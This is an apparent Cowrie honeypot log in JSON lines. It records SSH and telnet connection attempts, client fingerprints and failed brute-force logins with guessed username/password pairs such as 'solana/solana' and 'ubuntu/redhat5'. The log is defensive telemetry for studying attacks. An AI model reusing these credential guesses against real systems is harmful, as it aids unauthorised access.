"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:40.616257Z","src_ip":"2.57.122.238","session":"348a1291ce4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:40.918138Z","src_ip":"2.57.122.238","session":"348a1291ce4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:32:42.021810Z","src_ip":"2.57.122.238","session":"348a1291ce4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38014,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d7538f2cd6","protocol":"ssh","message":"New connection: 159.203.92.129:38014 (159.203.135.109:22) [session: 06d7538f2cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:12.698395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:12.704406Z","src_ip":"159.203.92.129","session":"06d7538f2cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:12.710347Z","src_ip":"159.203.92.129","session":"06d7538f2cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Andromeda","password":"123456","message":"login attempt [Andromeda/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:12.725034Z","src_ip":"159.203.92.129","session":"06d7538f2cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:13.733272Z","src_ip":"159.203.92.129","session":"06d7538f2cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.14.197","src_port":35663,"dst_ip":"159.203.135.109","dst_port":22,"session":"f102678266a6","protocol":"ssh","message":"New connection: 45.33.14.197:35663 (159.203.135.109:22) [session: f102678266a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:24.884530Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:25.936570Z","src_ip":"45.33.14.197","session":"f102678266a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":33528,"dst_ip":"159.203.135.109","dst_port":22,"session":"cffffc7ae0e1","protocol":"ssh","message":"New connection: 103.228.69.212:33528 (159.203.135.109:22) [session: cffffc7ae0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:33.248813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:33.255058Z","src_ip":"103.228.69.212","session":"cffffc7ae0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:33.477876Z","src_ip":"103.228.69.212","session":"cffffc7ae0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cvsuser","password":"1234","message":"login attempt [cvsuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:34.375732Z","src_ip":"103.228.69.212","session":"cffffc7ae0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:35.605090Z","src_ip":"103.228.69.212","session":"cffffc7ae0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.191","src_port":29030,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f9c996be6fa","protocol":"ssh","message":"New connection: 66.132.186.191:29030 (159.203.135.109:22) [session: 7f9c996be6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:35.954136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:36.030521Z","src_ip":"66.132.186.191","session":"7f9c996be6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:36.034445Z","src_ip":"66.132.186.191","session":"7f9c996be6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":9306,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe56559aa2f","protocol":"telnet","message":"New connection: 34.78.177.181:9306 (10.17.0.5:23) [session: 4fe56559aa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:49.728694Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":9316,"dst_ip":"10.17.0.5","dst_port":23,"session":"137222fc5039","protocol":"telnet","message":"New connection: 34.78.177.181:9316 (10.17.0.5:23) [session: 137222fc5039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:49.884894Z"}
{"eventid":"cowrie.session.closed","duration":0.005197048187255859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:49.889962Z","src_ip":"34.78.177.181","session":"137222fc5039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":9324,"dst_ip":"10.17.0.5","dst_port":23,"session":"588ffa8b312a","protocol":"telnet","message":"New connection: 34.78.177.181:9324 (10.17.0.5:23) [session: 588ffa8b312a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:50.040686Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:51.080898Z","src_ip":"66.132.186.191","session":"7f9c996be6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44988,"dst_ip":"159.203.135.109","dst_port":22,"session":"97af5453a8b1","protocol":"ssh","message":"New connection: 159.203.92.129:44988 (159.203.135.109:22) [session: 97af5453a8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:57.116232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:57.121046Z","src_ip":"159.203.92.129","session":"97af5453a8b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:57.125737Z","src_ip":"159.203.92.129","session":"97af5453a8b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Andromeda","password":"Andromeda","message":"login attempt [Andromeda/Andromeda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:57.136926Z","src_ip":"159.203.92.129","session":"97af5453a8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:58.146954Z","src_ip":"159.203.92.129","session":"97af5453a8b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35338,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07e23303579","protocol":"ssh","message":"New connection: 37.143.61.84:35338 (159.203.135.109:22) [session: b07e23303579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:58.876246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:58.886837Z","src_ip":"37.143.61.84","session":"b07e23303579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:58.979968Z","src_ip":"37.143.61.84","session":"b07e23303579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat5","message":"login attempt [ubuntu/redhat5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:33:59.392455Z","src_ip":"37.143.61.84","session":"b07e23303579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:00.492830Z","src_ip":"37.143.61.84","session":"b07e23303579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.455309867858887,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:02.183899Z","src_ip":"34.78.177.181","session":"4fe56559aa2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53648,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fed5f2ec914","protocol":"telnet","message":"New connection: 34.78.177.181:53648 (10.17.0.5:23) [session: 5fed5f2ec914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.197724Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.203197Z","src_ip":"34.78.177.181","session":"5fed5f2ec914","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.207695Z","src_ip":"34.78.177.181","session":"5fed5f2ec914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0928487777709961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.290472Z","src_ip":"34.78.177.181","session":"5fed5f2ec914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53654,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e339efd75a","protocol":"telnet","message":"New connection: 34.78.177.181:53654 (10.17.0.5:23) [session: a7e339efd75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.364516Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53666,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac5ecf25ea1","protocol":"telnet","message":"New connection: 34.78.177.181:53666 (10.17.0.5:23) [session: dac5ecf25ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.518871Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53672,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27370a69e3e","protocol":"telnet","message":"New connection: 34.78.177.181:53672 (10.17.0.5:23) [session: d27370a69e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.674052Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53678,"dst_ip":"10.17.0.5","dst_port":23,"session":"65755fe0f2f8","protocol":"telnet","message":"New connection: 34.78.177.181:53678 (10.17.0.5:23) [session: 65755fe0f2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.828627Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53680,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06e6b19dbbc","protocol":"telnet","message":"New connection: 34.78.177.181:53680 (10.17.0.5:23) [session: e06e6b19dbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:09.983949Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53692,"dst_ip":"10.17.0.5","dst_port":23,"session":"957520b4d986","protocol":"telnet","message":"New connection: 34.78.177.181:53692 (10.17.0.5:23) [session: 957520b4d986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:10.140724Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53694,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d634a06851","protocol":"telnet","message":"New connection: 34.78.177.181:53694 (10.17.0.5:23) [session: 39d634a06851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:10.296270Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"199808eadcdf","protocol":"telnet","message":"New connection: 34.78.177.181:53696 (10.17.0.5:23) [session: 199808eadcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:10.450664Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"80af07525c87","protocol":"telnet","message":"New connection: 34.78.177.181:53698 (10.17.0.5:23) [session: 80af07525c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:10.605109Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30506,"dst_ip":"10.17.0.5","dst_port":23,"session":"5279415d1edd","protocol":"telnet","message":"New connection: 34.78.177.181:30506 (10.17.0.5:23) [session: 5279415d1edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:10.839606Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30522,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f61c6a6a79f","protocol":"telnet","message":"New connection: 34.78.177.181:30522 (10.17.0.5:23) [session: 9f61c6a6a79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:10.996100Z"}
{"eventid":"cowrie.session.closed","duration":0.007012367248535156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.002966Z","src_ip":"34.78.177.181","session":"9f61c6a6a79f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.177.181","src_port":30528,"dst_ip":"10.17.0.5","dst_port":23,"session":"769567c69e78","protocol":"telnet","message":"New connection: 34.78.177.181:30528 (10.17.0.5:23) [session: 769567c69e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:34:11.153639Z"}
